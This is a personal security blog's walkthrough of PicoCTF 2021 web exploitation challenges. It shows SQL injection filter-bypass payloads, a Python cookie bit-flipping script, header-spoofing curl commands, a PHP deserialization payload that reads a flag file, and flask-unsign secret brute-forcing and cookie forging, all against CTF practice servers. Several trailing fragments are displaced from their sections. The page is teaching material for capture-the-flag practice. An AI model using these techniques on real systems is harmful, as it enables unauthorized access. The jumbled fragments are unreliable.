The Nen-Book
LinkedinTwitterMediumGithubHTB
  • Whoami
  • Walkthroughs & Writeups
    • My CTF Methodology
    • Hack The Box Machines
      • Administrator
      • Escape two
      • Cicada
      • HTB Permx Machine(CVE-2023–4220 Chamilo LMS)
    • Intigriti 1337Up 2024
      • Intigriti 1337Up 2024-CTF OSINT Challenges
      • Intigriti 1337Up Live 2024-CTF Web Challenges
    • CyCTF Quals 2024
      • OSINT Challenges CyCTF Quals 2024
      • Old Friend OSINT Challenge CyCTF 2024 Quals Writeup
    • PicoCTF
      • PicoCTF 2024 Web Exploitation Challenges
      • PicoCTF 2024 General Skills Challenges
      • PicoCTF 2021 Web Exploitation Challenges Walkthrough
      • PicoCTF 2019 Web Exploitation Challenges
  • Web_AppSec
    • Web_Recon
    • SQli
    • ATO
    • Backend_Technology_Tricks
    • XSS
    • SSRF
    • CSRF
    • XXE
    • SSTI
    • Insecure_Deserialization
    • Open_Redirects
    • Information_Disclosures
    • Rate_Limiting
    • Clickjacking
    • Broken Access Control & IDORS
    • Bash_Scripting
    • Authentication_Vulnerabilities
    • App_Logic_Errors
  • Network & AD Pentesting
    • Scanning & Enumeration
    • Active_Directory
      • AD_Overview_&_ Lab Build
      • AD_Initial_Attack_Vectors
      • AD_Post-Compromise_Enumeration
      • AD_Post-Compromise_Attacks
    • Buffer_Overflow_Attacks
    • Web_Applications
    • Privilege_Escalation
  • Cloud_Security
    • AWS Pentesting
  • APISec
    • API_Recon
    • Broken_Access_Control & Info_Leaks
  • Code_Review
    • Source_Code_Review_101
    • Code Review Tools
  • Bug_Hunting
    • Picking_A_BugBounty_Program
    • Writing_A_Good_Report
  • MITRE ATT&CK
    • Introducing the ATT&CK Framework
    • MITRE Engenuity
    • Threat-Informed Defense
Powered by GitBook
On this page
  • بِسْمِ اللهِ الرَّحْمٰنِ الرَّحِيْمِ
  • Web Gauntlet
  • starting our PicoCTF 2021 from here
  • 1: GET aHEAD
  • 2: Cookies
  • 3: Scavenger Hunt
  • Just some boring HTML
  • 4: Some Assembly Required 1
  • 5: More Cookies
  • Decode the cookie from base64 twice to reverse the encoding scheme.
  • 6: It is my Birthday
  • 7: Who are you?
  • 7: Some Assembly Required 2
  • 8: Super Serial
  • 9: Most Cookies
  • 10: Web Gauntlet 2
  • 11: Web Gauntlet 3

Was this helpful?

Edit on GitHub
  1. Walkthroughs & Writeups
  2. PicoCTF

PicoCTF 2021 Web Exploitation Challenges Walkthrough

PreviousPicoCTF 2024 General Skills ChallengesNextPicoCTF 2019 Web Exploitation Challenges

Last updated 5 months ago

Was this helpful?

بِسْمِ اللهِ الرَّحْمٰنِ الرَّحِيْمِ

Hey It’s me again, Ahmed Reda (@ 0xHunterr)

this time we will get a quick walkthrough for PicoCTF 2021 so let’s get started

just before we start in 2021 challenges, there is a single challenge for the picoCTF 2020 Mini-Competition let’s solve it first and then continue to 2021:

Web Gauntlet

the right side is the challenge, left side is the filter

the challenge says to log in as admin, so when I find a login page the first thing to try is SQLI , and the filter says the or filtered, so I tried admin'-- and it worked

round 2 filter

now it filters the comment, I tried other ways to comment things like admin’# but didn’t work so I tried admin’/* and this time it worked

round 3 filter

it doesn’t filter anything of our previous payload so I guess it will work also in this caseadmin’/*

this time the admin is filtered so we will try to bypass it using concatenation like adm'||'in'/*

it assumes we worked with union attack but we didn’t so we can use the same payload adm'||'in'/* and here we go

picoCTF{y0u_m4d3_1t_d846125f7bdbf4d6e89cbc5edb6fa739}

starting our PicoCTF 2021 from here

1: GET aHEAD

the challenge provides us with the following website

when we choose any color it sends a request with a different HTTP method (GET, POST) the challenge sounds to be about the HTTP methods from its name and how the website handles the request so let’s try to intercept it and change the request method to HEAD as the name of the challenge

here we go picoCTF{r3j3ct_th3_du4l1ty_cca66bd3} it was quick

2: Cookies

we provided with this website, takes from the name of a cookie and gives u a small sentence about it

if we check the cookies u will notice that each cookie has a different numerical value in the HTTP request in a cookie param named "name" so Bruteforce as numbers as we can till we find our flag cookie,

so we will use Burp Intruder to automate this simple task for us, it will be sniper attack, with a numbers payloads list we will try 80 first, and don’t forget to set the Grep match to picoCTF{ to find the flag easily

and here we go picoCTF{3v3ry1_l0v3s_c00k135_064663be}

3: Scavenger Hunt

the website :

it mentions the uses of HTML, CSS, and JS so let’s check the source code

Scavenger Hunt

Just some boring HTML

  <button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">How</button>  
  <button class="tablink" onclick="openTab('tababout', this, '#222')">What</button>  

  <div id="tabintro" class="tabcontent">  

How

How do you like my website?

  <div id="tababout" class="tabcontent">  

What

I used these to make this site: HTML CSS JS (JavaScript)

</div>  

we can find a comment for us with the first part of the flag picoCTF{t and we notice there are also CSS and JS files included, let’s check them

div.container { width: 100%; }

header { background-color: black; padding: 1em; color: white; clear: left; text-align: center; }

body { font-family: Roboto; }

h1 { color: white; }

p { font-family: "Open Sans"; }

.tablink { background-color: #555; color: white; float: left; border: none; outline: none; cursor: pointer; padding: 14px 16px; font-size: 17px; width: 50%; }

.tablink:hover { background-color: #777; }

.tabcontent { color: #111; display: none; padding: 50px; text-align: center; }

#tabintro { background-color: #ccc; } #tababout { background-color: #ccc; }

/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */

we find the second part of the flag in a comment at the end of the page h4ts_4_l0, let’s check the JS file

function openTab(tabName,elmnt,color) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablink"); for (i = 0; i < tablinks.length; i++) { tablinks[i].style.backgroundColor = ""; } document.getElementById(tabName).style.display = "block"; if(elmnt.style != null) { elmnt.style.backgroundColor = color; } }

window.onload = function() { openTab('tabintro', this, '#222'); }

/* How can I keep Google from indexing my website? */

we find a comment that says “How can I keep Google from indexing my website?”, it’s a hint about the famous file “robots.txt“ Let’s check it

we got the third part t_0f_pl4c and a new hint that says “I think this is an Apache server… can you Access the next flag?” let’s do some search

.htaccess files provide a way to make configuration changes on a per-directory basis.

and finally with the final part : _f7ce8828} after concatenating all parts: picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_f7ce8828}

4: Some Assembly Required 1

Couldn’t solve it on my first try

It’s obfuscated code, I couldn’t get anything from it but it sounds like an array that has a lot of random values, and the code accesses it somehow with offset, but we can notice a wasm folder sounds Interesting

line 52 in the code shows that it’s waiting for the execution of this file, when we open it we see some low-level code if we look at the bottom of it we will find our flag!

this file is about the logic of comparing our input with the original flag but the flag is hardcoded

picoCTF{8857462f9e30faae4d037e5e25fee1ce}

5: More Cookies

encrypted cookies then

go to our cookie editor and see the cookie will find it ends with = sign it gives me a hint that it’s base64 encoded WElrYWV0enRCdlg3RkJQRnVXZXYxQVVWRjlsUXR4NEpvYyt1M1UwWm1FaXpkdzJUOUdVdVBrYnY4ZTFzWndxVzVidE8vS3BpMnNESnhLU3JXS1d5Wmk1cE1yTjAwZFM2RkViZEpWcDFtZXpUME9ZTXcxb0grSEU0NU9reTZwemg=

but no it seems to be encrypted not just encoded

so we will try to change every byte in our cookie till we get the flag since we don’t know the target byte, and this is what the Python code does

import requests import base64 from tqdm import tqdm

ADDRESS = "http://mercury.picoctf.net:15614/"

s = requests.Session() s.get(ADDRESS) cookie = s.cookies["auth_name"]

Decode the cookie from base64 twice to reverse the encoding scheme.

decoded_cookie = base64.b64decode(cookie) raw_cookie = base64.b64decode(decoded_cookie)

def exploit(): # Loop over all the bytes in the cookie. for position_idx in tqdm(range(0, len(raw_cookie))): # Loop over all the bits in the current byte at position_idx. for bit_idx in range(0, 8): # Construct the current guess. # - All bytes before the current position_idx are left alone. # - The byte in the position_idx has the bit at position bit_idx flipped. # This is done by XORing the byte with another byte where all bits are zero # except for the bit in position bit_idx. The code 1 << bit_idx # creates a byte by shifting the bit 1 to the left bit_idx times. Thus, # the XOR operation will flip the bit in position bit_idx. # - All bytes after the current position_idx are left alone. bitflip_guess = ( raw_cookie[0:position_idx] + ((raw_cookie[position_idx] ^ (1 << bit_idx)).to_bytes(1, "big")) + raw_cookie[position_idx + 1 :] )

        # Double base64 encode the bit-blipped cookie following the encoding scheme.  
        guess = base64.b64encode(base64.b64encode(bitflip_guess)).decode()  

        # Send a request with the cookie to the application and scan for the  
        # beginning of the flag.  
        r = requests.get(ADDRESS, cookies={"auth_name": guess})  
        if "picoCTF{" in r.text:  
            print(f"Admin bit found in byte {position_idx} bit {bit_idx}.")  
            # The flag is between `<code>` and `</code>`.  
            print("Flag: " + r.text.split("<code>")[1].split("</code>")[0])  
            return  

exploit()

don’t forget to install tdqm module before running it, u can download it using: pip3 install tdqm and we got our flag

picoCTF{cO0ki3s_yum_a9a19fa6}

6: It is my Birthday

The challenge states that we need to essentially upload two PDFs with the same hashes, but also two PDFs that are not the same file

A collision occurs when two files are fundamentally different, but both return the same hash. This can be in algorithms such as md5 due to its relatively small keyspace,

picoCTF{c0ngr4ts_u_r_1nv1t3d_73b0c8ad} we got our flag and the backend code of the page

7: Who are you?

I came here to play not to overthink

the provided website

nothing interesting in the source code, but it mentions the Picobrowser again it’s similar to a challenge we solved earlier in Pico 2019 called Picobrowser u can check it, so anyway let’s send a basic curl request and see

curl http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"

“color:red”>Only people who use the official PicoBrowser are allowed on this site!

let’s spoof the user agent header as we did before

curl -H "user-agent: picobrowser " http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"

I don't trust users visiting from another site.

this time talking about coming from another site so it’s about referer header

curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"

Sorry, this site only worked in 2018.

spoofing the date header

curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"

I don't trust users who can be tracked

after some search found the DNT (Do Not Track)header and assigned value 1 to be not tracked on the website

curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ | grep "<h3.>.</h3>"

This website is only for people from Sweden.

curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ -H "X-Forwarded-For: 199.247.35.63"| grep "<h3.>.</h3>"

You're in Sweden but you don't speak Swedish?

talking about language so let’s spoof the accept language

curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ -H "X-Forwarded-For: 199.247.35.63" -H "Accept-Language: sv-SE"| grep "<h3.>.</h3>"

What can I say except, you are welcome

Guess all is good now lets Grep for the flag

curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 24 8 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ -H "X-Forwarded-For: 199.247.35.63" -H "Accept-Language: sv-SE"| grep "picoCTF{"

the flag : picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}

7: Some Assembly Required 2

same as before when we press the submit button it triggers the onButtonPress() function

and the WASM file is waiting for our Input, I go check if it compares with any text

and found this, it sounds like the flag but this time, it is encoded or something, I tried the base64 and Hex but got nothing, after a lot of trying used Magic recipe with restrict mode on and pico as regex and got something interesting here

from CyberChef Recipe description, the website seems to be getting our input in HEX value (ASCII) and XORing it with 8 to compare with the encoded flag

to enhance it I tried to play with depth but no effect so I copied the random number and add to the flag format which is picoCTF{} and it worked!

picoCTF{6f3bd18312ebf1e48f12282200948876}

8: Super Serial

This challenge got me confused when I saw the hint I thought it was a Directory listing Vuln or sort of it but I tried many ways and got nothing

so started to look for the /robots.txt and found something Interesting :

/robots.txt

it disallows the admin.phps so I tried to visit it but it’s not found, there’s something more important here, I noticed that the file with the extension phps not php which is different

The PHPS file type is primarily associated with ‘PHP Source’ by The PHP Group. Generally, PHP files will get interpreted by the Web server and PHP executable, and you will never see the code behind the PHP file. If you make the file extension.PHPS, a properly-configured server will output a color-formated version of the source instead of the HTML that would normally be generated (not all servers)

so it’s a hint that we can read the backend source code using phps, all we need to do now is to find the files, As the default it usually has /Index.php

you can also run directory robust tools like Gobuster to get all the files

gobuster dir -u http://mercury.picoctf.net:3449/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t30 --timeout 60s

let’s go to /Index.phps

at line 10 and 11

is_guest() || $perm_res->is_admin()) { setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '

Invalid Login.

'; } } ?>

Sign In

Username

    <div class="form-label-group">  
     <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>  
     <label for="pass">Password</label>  
    </div>  

    <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>  
   </form>  
  </div>  
 </div>  
</div>  

username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?> log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?>

Go back to login

we can spot the unserialize function at the authentication.phps we know that there is an access_log object and we know that this gets instantiated with the call to the file access.log on the server

So we can store a serialized access_log object in the login cookie with the log_file set to ../flag (it’s the location of our flag we get it from the hint)instead of access.log file so it will print the content of it.

we can write the serialized object manual just by knowing its syntax it will be like O:10:”access_log”:1:{s:8:”log_file”;s:7:”../flag”;} and then encode it with base64 TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

and then go to authentication.php and add the login cookie with our encoded payload and refresh

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}

9: Most Cookies

we provided with server code which is Flask as mentioned in the description:

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(name) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)

@app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp

@app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp

@app.route("/reset") def reset(): resp = make_response(redirect("/")) session.pop("very_auth", None) return resp

@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp

if name == "main": app.run()

the provided website and the cookie

It’s Flask Session Cookie JWT?

NO, I know that they seem to have the same syntax, but it is not the same, the big doubt is because jwt.io can decrypt the flask session, however once decrypted you can see that the syntax is different. The big difference in the use of JWT to Flask, is that Flask cookies store the signature and user information on the client side of the cookie. In JWT you can choose where you want to store it.

so that’s why we get garbage when try decoding it in jwt.io

going back to our source code we need to look for any secret keys, The app’s secret key is used to sign a flask session cookie so that it cannot be modified, we can see that the app’s secret key is set to a random cookie name :

app = Flask(name) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)

but we know that the secret will be one of this list, so we can use this to try them all

continuing in the source code we find that there’s a flag function part :

@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp

shows that it makes a check on the session cookie with the key very_auth and checks to see if the value is equal to admin. So, we need to store {"very_auth": "admin"} in the cookie.

now all we need to do is to extract the secret key by brute-forcing it using the flask unsign tool, let’s take the list of the cookie names and put it in a file, and pass it to the tool to brute-force our key here is the list put in a file and call it secrets or whatever u want

snickerdoodle chocolate chip oatmeal raisin gingersnap shortbread peanut butter whoopie pie sugar molasses kiss biscotti butter spritz snowball drop thumbprint pinwheel wafer macaroon fortune crinkle icebox gingerbread tassie lebkuchenm acaron black and white white chocolate macadamia

and then we run our tool

flask-unsign --unsign --wordlist secrets --cookie 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ZYmNtw.orbE-UiLGLxbpKzB0SI_yCBUhcA'

successfully found in the fortune, now let’s create our valid cookie for the admin and sign it using unsign flask

flask-unsign -s -c "{'very_auth': 'snickerdoodle'}" -S fortune

we got the flag: picoCTF{pwn_4ll_th3_cook1E5_743c20eb}

10: Web Gauntlet 2

picoCTF{0n3_m0r3_t1m3_86f3e77f3c5a076866a0fdb3b29c52fd}

11: Web Gauntlet 3

same filters but this time there is a character limit, the last payload will work here ad’||’min’%00

Part4: 3s_2_lO0k and a new hint “I love making websites on my Mac, I can Store a lot of information there. ” we can notice that “Store” word is capitalized, In Macs, a .DS_Store stores the configurations

anyway as it’s a web challenge says assembly is required maybe it’s about the , in situations like this I prefer go to Inspector and sources to see the whole picture and files the website uses, so we got this JS file after formatting it

co**nst _0x402c = [ 'value', '2wfTpTR', 'instantiate', '275341bEPcme', 'innerHTML', '1195047NznhZg', '1qfevql', 'input', '1699808QuoWhA', 'Correct!', 'check_flag', 'Incorrect!', './JIFxzHyW8W', '23SMpAuA', '802698XOMSrr', 'charCodeAt', '474547vVoGDO', 'getElementById', 'instance', 'copy_char', '43591XxcWUl', '504454llVtzW', 'arrayBuffer/', '2NIQmVj', 'result' ]; const _0x4e0e = function (_0x553839, _0x53c021) { _0x553839 = _0x553839 - 470; let _0x402c6f = _0x402c[_0x553839]; return _0x402c6f; }; ( function (_0x76dd13, _0x3dfcae) { const _0x371ac6 = _0x4e0e; while (!![]) { try { const _0x478583 = - parseInt(_0x371ac6(491)) + parseInt(_0x371ac6(493)) + - parseInt(_0x371ac6(475)) * - parseInt(_0x371ac6(473)) + - parseInt(_0x371ac6(482)) * - parseInt(_0x371ac6(483)) + - parseInt(_0x371ac6(478)) * parseInt(_0x371ac6(480)) + parseInt(_0x371ac6(472)) * parseInt(_0x371ac6(490)) + - parseInt(_0x371ac6(485)); if (_0x478583 === _0x3dfcae) break; else _0x76dd13; } catch (_0x41d31a) { _0x76dd13; } } }(_0x402c, 627907) ); let exports; ( async() => { const _0x48c3be = _0x4e0e; let _0x5f0229 = await fetch(_0x48c3be(489)), _0x1d99e9 = await WebAssembly[_0x48c3be(479)](await _0x5f0229), _0x1f8628 = _0x1d99e9[_0x48c3be(470)]; exports = _0x1f8628['exports']; } ) (); function onButtonPress() { const _0xa80748 = _0x4e0e; let _0x3761f8 = document [_0xa80748(477)]; for (let _0x16c626 = 0; _0x16c626 < _0x3761f8['length']; _0x16c626++) { exports[_0xa80748(471)](_0x3761f8, _0x16c626); } exports['copy_char'](0, _0x3761f8['length']), exports == 1 ? document [_0xa80748(481)] = _0xa80748(486) : document [_0xa80748(481)] = _0xa80748(488); }

so looking at the challenge hints, I found a Wiki link about , after trying a lot of random decryption and decoding methods, I couldn't solve it

starting to search for someone’s solution, found this it contains some useful resources like (, , and )

in summary, it uses which allows u to encrypt data on the basis of its plain text, there are many modes of this encryption algorithm one of them is which basically encrypts the plain text by XORing it with the previous cipher text so if there any byte changed in the previous cipher text it will only affect the corresponding pos in the current plain text u can find more details

so after some research found this script that does that I also had to place and in my working directory it needs these binaries when it runs. and installs mutools using sudo apt-get install mupdf-tools and creating a file called dummy.pdf in my working directory, and making two PDFs files and compressing them using any online tool and finally, we can run the script passing our two compressed PDFs as arguments

we need Sweden IP u can get one from

const _0x6d8f = [ 'copy_char', 'value', '207aLjBod', '1301420SaUSqf', '233ZRpipt', '2224QffgXU', 'check_flag', '408533hsoVYx', 'instance', '278338GVFUrH', 'Correct!', '549933ZVjkwI', 'innerHTML', 'charCodeAt', './aD8SvhyVkb', 'result', '977AzKzwq', 'Incorrect!', 'exports', 'length', 'getElementById', '1jIrMBu', 'input', '615361geljRK' ]; const _0x5c00 = function (_0x58505a, _0x4d6e6c) { _0x58505a = _0x58505a - 195; let _0x6d8fc4 = _0x6d8f[_0x58505a]; return _0x6d8fc4; }; ( function (_0x12fd07, _0x4e9d05) { const _0x4f7b75 = _0x5c00; while (!![]) { try { const _0x1bb902 = - parseInt(_0x4f7b75(200)) * - parseInt(_0x4f7b75(201)) + - parseInt(_0x4f7b75(205)) + parseInt(_0x4f7b75(207)) + parseInt(_0x4f7b75(195)) + - parseInt(_0x4f7b75(198)) * parseInt(_0x4f7b75(212)) + parseInt(_0x4f7b75(203)) + - parseInt(_0x4f7b75(217)) * parseInt(_0x4f7b75(199)); if (_0x1bb902 === _0x4e9d05) break; else _0x12fd07; } catch (_0x4f8a) { _0x12fd07; } } }(_0x6d8f, 310022) ); let exports; ( async() => { const _0x835967 = _0x5c00; let _0x1adb5f = await fetch(_0x835967(210)), _0x355961 = await WebAssembly['instantiate'](await _0x1adb5f), _0x5c0ffa = _0x355961[_0x835967(204)]; exports = _0x5c0ffa[_0x835967(214)]; } ) (); function onButtonPress() { const _0x50ea62 = _0x5c00; let _0x5f4170 = document [_0x50ea62(197)]; for (let _0x19d3ca = 0; _0x19d3ca < _0x5f4170['length']; _0x19d3ca++) { exports[_0x50ea62(196)](_0x5f4170, _0x19d3ca); } exports['copy_char'](0, _0x5f4170[_0x50ea62(215)]), exports == 1 ? document [_0x50ea62(208)] = _0x50ea62(206) : document ['innerHTML'] = _0x50ea62(213); }

we can find line 10 there is a cookie named login and the value of it is a variable named $perm_res getting serialized and encoded so it seems to be Insecure deserialization you can read about it or so let's see the content of /authentication.php and cookie.php

it looks like a JWT anyway, a little search for the basic info about flask sessions and cookies would help, I found this , and this and got this useful info from the medium article

so we can find at a good way and tool for these cookies it’s so now we know how to deal with this cookie and what is it actually

this time it filtered almost everything, we can bypass the admin filter by the concatenation we did before ad'||'min' I found this but after many tries nothing worked for me to comment on the password field, I looked for someone’s solution and found this pretty it used the null byte to terminate the query I used Burp Suite to send these data ad’||’min’%00

file
Web Assembly (Wasm)
'push'
'push'
_0x48c3be(474)
'getElementById'
_0xa80748(492)
_0xa80748(487)
_0xa80748(494)
_0xa80748(494)
Homomorphic encryption
one
CBC
The Bit Flipping attack
Python Script
Homomorphic encryption
CBC
here
job
pdf1.bin
pdf2.bin
here
'push'
'push'
'arrayBuffer'
_0x50ea62(216)
_0x50ea62(209)
_0x50ea62(202)
'getElementById'
_0x50ea62(216)
here
here
useful
one
Hacktricks
flask unsign
Portswigger cheatsheet useful
one